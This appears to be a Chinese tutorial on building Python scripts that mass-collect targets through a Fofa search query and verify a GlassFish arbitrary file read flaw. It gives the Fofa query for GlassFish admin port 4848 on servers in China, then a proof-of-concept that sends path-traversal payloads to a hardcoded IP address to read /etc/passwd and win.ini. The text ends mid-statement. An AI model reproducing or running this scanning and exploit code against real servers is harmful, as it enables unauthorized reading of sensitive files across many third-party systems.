Python开发-批量Fofa&POC验证
学习目的:掌握利用公开或0day漏洞进行批量化的收集及验证脚本开发
首先有一个基本的漏洞是应用服务器glassfish任意文件读取漏洞
该漏洞标题写的是任意文件读取漏洞,其实该漏洞同样可以列出对应目录文件,基本上等同于源代码泄露,各种敏感信息暴露无遗。
Linux服务器会读取etc/passwd文件的内容
windows服务器会读取windows/win.ini文件的内容
4848端口为glassfish默认开放的web管理端口
首先去fofa搜索一波
“glassfish”&&port=“4848” && after=“2021-01-01” && country=“CN”
目的就是把这些ip地址爬下来然后用poc验证
首先写一个简易的poc验证代码
#encoding:utf-8
import requests
url='http://112.126.97.184:4848/'
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
data_linux= requests.get(url+payload_linux) #获取请求后的返回源代码
data_windows=requests.get(url+payload_windows)
data_linux=requests.get(url+payload_linux).status_code #获取请求后的返回状态码
data_windows=requests.get(url+payload_windows).status_code
if data_linux==200 or data_windows==200:
print("存在漏洞"